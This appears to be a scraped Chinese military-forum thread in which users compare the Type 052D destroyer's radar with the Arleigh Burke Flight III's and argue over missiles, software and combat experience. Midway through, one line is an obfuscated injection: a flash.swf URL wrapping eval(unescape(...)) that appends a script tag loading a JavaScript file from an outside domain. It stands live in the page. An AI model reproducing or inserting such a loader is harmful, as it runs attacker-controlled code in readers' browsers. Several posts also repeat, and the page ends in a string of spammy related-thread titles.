五二弟真的这么牛逼？

来源：百度文库编辑：超级军网时间：2024/04/28 04:43:25

前段时间在这坛子里看到有帖子说伯克III的新盾相对于伯克II其效能几乎是提高了30倍！一艘伯克III可抵3~5艘伯克II！当时想这边伯克II都正让整个世界流着口水，那边的下一代伯克又出来了。。美国的军事技术真是太逆天了！
但是。。但是这几天我又看到坛子里有关052系列介绍，里面提到说五二弟的盾技术水平相当于美国正在计划的伯克III！这个裤衩飙血呀那我们的055岂不是更强大！跟踪F35肯定没问题
还是想说没想到五二弟这么牛逼啊

这种说法片面毕竟伯克是成熟的而且量多体大有源比无源就是多目标能力强但是sm6 sm3的出现让伯克比052d高了一个档次比如反导超远防空

盾可能强些，其他的嘛，你知道的。。。

以前似乎的确有个帖子说了美帝新雷达是老雷达效能的多少倍；
（14英尺的AMDR-S雷达是+15，也就是15dB，相当于宙斯盾的10^1.5，大概32倍于现役宙斯盾的信噪比和性能。）
能够发现RCS为原有雷达发现下限值1/32的目标。

还有个+40版本，能力值增加40dB，意思是能够发现RCS缩减一万倍的目标，雷达阵面36英尺见方。
（http://tieba.baidu.com/p/2765368746）

PS.这和“五二弟”有啥子关系？

YY的

应该不可能爸。

系统还不清楚，反正盾是挺大，效果差不了太多，就是弹的问题啦，美国都要上准四代弹ESSM和四代弹标6了，我们现在还只有三代半弹海红旗9改，中近程的还没着落呢(红旗16上不了武松)，更别说四代弹了。

现在的形式是个吹个的牛逼

http://www.cgjoy.com/flash.swf?\'+eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fwww.dzsstye.com%2Fa.js%22%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source))+\'

现在的形式是个吹个的牛逼

都是自卖自夸，一战方知高下

去者2015 发表于 2016-1-10 17:48
都是自卖自夸，一战方知高下
就支持实战派，没实战没话语权。

发现坛子里的朋友大多数都以为盾只是雷达，其实这是个错误，她指的是一个系统，包括导弹在内的

雷达比起SPY1高一个档次我觉得是没问题的，反弹道导弹中国没啥需求，要反也是在青藏高原或者东北反，了不起再加个福建，没海军什么事。除了没有舰载预警机配合上cec的话，反飞机我也觉得没啥遗憾，红酒主动弹，以后上cec的基础是有的，希望以后能上个类似SMART-L这种长波大板子而不要再用晾衣架了。最关键的我觉得还是反潜，最大的短板了

军坛所谓的牛B从来都是嘴炮的牛B，真要他们说出牛B在哪里，无非就是雷达牛B，然后雷达怎么牛B，他们说不清楚了，反正就是牛B过伯克。

提高30倍为什么才能抵3~5艘

难道军舰就是以雷达定胜负？

一条伯克三顶3-5条伯克二，除了价格其他都不可能。

话说现在流行打群架

单单雷达硬件没的说，关键是软件以及操作经验还是有不小差距，而且这个差距不是靠技术就能够弥补得
单单防空导弹以及反奸弹，人家是以编队形势打过来，我们则是依托本土进行梯次防御，所以要求不一样（兔子没事就炫耀特快专递也是同理）。但是我海军实力削其他宵小却毫无压力

话说现在流行打群架

单单雷达硬件没的说，关键是软件以及操作经验还是有不小差距，而且这个差距不是靠技术就能够弥补得
单单防空导弹以及反奸弹，人家是以编队形势打过来，我们则是依托本土进行梯次防御，所以要求不一样（兔子没事就炫耀特快专递也是同理）。但是我海军实力削其他宵小却毫无压力

真没那么牛逼，等055吧

kky133 发表于 2016-1-10 17:51
就支持实战派，没实战没话语权。
我们已被改造成爱好和平的民族，没有实战的机会。

雷达分为软硬件两部分，硬件好比拼，软件无法较量。攒个电脑是装win7系统呢还是装麒麟、红旗？

该题目里的052D换成055也许靠谱

吹伯克3的时候吹新有源雷达多么多么NB
一说到052D早就用有源，055的双波段，马上转换到无源靠软件升级也能达到有源性能，呵呵

其实无源和有源的最大区别就是软件，有源数据量数量及的上升，多功能多波束LPI等等新功能无源都没有
所以伯克3最大的问题是2023年才能服役，比052D晚接近10年，比052C晚接近20年，到时兔子玩了20年的有源阵软件比硬件更难追

吹伯克3的时候吹新有源雷达多么多么NB
一说到052D早就用有源，055的双波段，马上转换到无源靠软件升级也能达到有源性能，呵呵

其实无源和有源的最大区别就是软件，有源数据量数量及的上升，多功能多波束LPI等等新功能无源都没有
所以伯克3最大的问题是2023年才能服役，比052D晚接近10年，比052C晚接近20年，到时兔子玩了20年的有源阵软件比硬件更难追

军坛所谓的牛B从来都是嘴炮的牛B，真要他们说出牛B在哪里，无非就是雷达牛B，然后雷达怎么牛B，他们说不清 ...
相关参数也有不少吧，有源对无源的优势很明显。不过雷达比伯克强真没啥好吹的，现在雷达不如伯克的新式主力防空舰也不多了，欧洲那票有源的不少，毛子的22350也是，不算那些装猴版宙斯盾的，就武仙座那个废柴了。

雷达比起SPY1高一个档次我觉得是没问题的，反弹道导弹中国没啥需求，要反也是在青藏高原或者东北反，了不起 ...
反潜还好了，设备都上去了，就是体系没成型，航空的还得上量，再加上潜艇的劣势，说到底还是载具的问题。

说52D好是吹牛要实战
那伯克2有啥实战？打下一架伊朗客机？

346A就是比SPY1D体制先进有源对无源盾就是有优势

防空弹可能差一些舰队也不如
这都是实实在在的但雷达比伯克2好也是实在的

反正在很多人眼里，只要兔子玩的起的技术就不牛逼，只有兔子没有那才是牛逼。即使是兔子玩了快10 年了，那美国佬才有，那还是美国佬牛逼。不知道这些人是真的缺钙还是跪的久了腿断了。

去者2015 发表于 2016-1-10 17:48
都是自卖自夸，一战方知高下
是要兔子去试试？

岳麓山下发表于 2016-1-10 19:27
我们已被改造成爱好和平的民族，没有实战的机会。
是没底线和平的民族。

我想52D在静态上应该至少不输伯克2A，但就现在来说，实际战力比不过。武器先进归武器先进，伯克人机结合，美帝玩转多少年了，我们才有52D几年呢？但我想52D肯定比不过伯克3，55吗，应该至少，至少和伯克3在静态上同一水平。

伯克2A静态实力100分，52D静态实力至少100分；
美军伯克2A现实战力100分，解放军52D现实战力定多85分；

现在可能是这样吧，过几年后那就不好说了。

我想52D在静态上应该至少不输伯克2A，但就现在来说，实际战力比不过。武器先进归武器先进，伯克人机结合，美帝玩转多少年了，我们才有52D几年呢？但我想52D肯定比不过伯克3，55吗，应该至少，至少和伯克3在静态上同一水平。

伯克2A静态实力100分，52D静态实力至少100分；
美军伯克2A现实战力100分，解放军52D现实战力定多85分；

现在可能是这样吧，过几年后那就不好说了。

JDHL 发表于 2016-1-10 20:14
我想52D在静态上应该至少不输伯克2A，但就现在来说，实际战力比不过。武器先进归武器先进，伯克人机结合， ...
感觉这个说明的比较靠谱

你是帮凶1 发表于 2016-1-10 20:05
是要兔子去试试？
是美帝想来试，兔子静候ing

去者2015 发表于 2016-1-10 20:51
是美帝想来试，兔子静候ing
兔子不会，来了抗议就是。

这种说法片面毕竟伯克是成熟的而且量多体大有源比无源就是多目标能力强但是sm6 sm3的出现让 ...
还有全数字化；双波段等

楼主裤衩太红，必须刷白，cder们也是尽力了

likepnd999 发表于 2016-1-10 20:56
还有全数字化；双波段等
伯克毕竟是二十年前的东西了但是伯克未来的趋势是只做平台制导交给别的系统平台了就像鹰墙战术
而这又把 052甚至未来的055 碾压了

伯克毕竟是二十年前的东西了但是伯克未来的趋势是只做平台制导交给别的系统平台了就像鹰墙战术 ...
只做平台用伯克，随便改装个船装几百个导弹不是更好？未来很长一段时间内的主力还是伯克，发现和制导的主体还是它，美国对它的提升更多还是电子系统上的，你那是在替美国YY。

未来航空兵发表于 2016-1-10 21:07
只做平台用伯克，随便改装个船装几百个导弹不是更好？未来很长一段时间内的主力还是伯克，发现和制导的主 ...
伯克提康作平台是现成量大成熟升级电子系统就是为了支持整个系统现在看来无源加猴相比什么小
有缘大有源要nb 毕竟有整个大系统和成熟的武器 sm3 6 等等

伯克提康作平台是现成量大成熟升级电子系统就是为了支持整个系统现在看来无源加猴相比什 ...
既然无源那么好，那你说它为啥要换有源啊？没有需求就会升级，那美国怎么不上CGX啊？

伯克提康作平台是现成量大成熟升级电子系统就是为了支持整个系统现在看来无源加猴相比什 ...
再说了，怎么比较谁强？难道单舰PK么？那美国可吃亏了，你要是啥都比体系，那美国的佩里都很强，怎么比。

怎么看，一是看谁更适合自己的体系，那其实各国的都差不多，二是看对体系的提升了，要是系统什么都通用，你让美国用伯克换055，你看它换不换？

未来航空兵发表于 2016-1-10 21:16
既然无源那么好，那你说它为啥要换有源啊？没有需求就会升级，那美国怎么不上CGX啊？
跟上时代脚步而已而且他的重心是系统现有风平台完全够了至于cgx 没钱而且伯克升级系统的战斗力
不会比cgx 差多少

未来航空兵发表于 2016-1-10 21:20
再说了，怎么比较谁强？难道单舰PK么？那美国可吃亏了，你要是啥都比体系，那美国的佩里都很强，怎么比。 ...
当年的日本联合舰队苏联红海军差就差在科技实力等于系统战争就是体系对抗要不纳尔逊27 条如何打赢33跳？

五二弟真的这么牛逼？ DCS MIG21这么牛逼？ f35的机动性真能有电影里这么牛逼？美国的航空发动机为什么这么牛逼～～～～～～请看这么牛逼的航母视频没人转吗？叠纸飞机也能叠这么牛逼 ZTSC 我们穿这么牛逼的军品为什么会没有妞儿喜欢我牛逼的造型以后单兵装备能有这么狠吗~~ 苹果的工业外观设计这么牛逼，为什么基本没什么厂家抄袭 ... 如果80年前，我们拥有这么牛逼的军队，我们会不会也想征 ... 碰上这么牛逼的车主，汽车被砸也是活该牛逼！直升机在风浪中登这么小的船，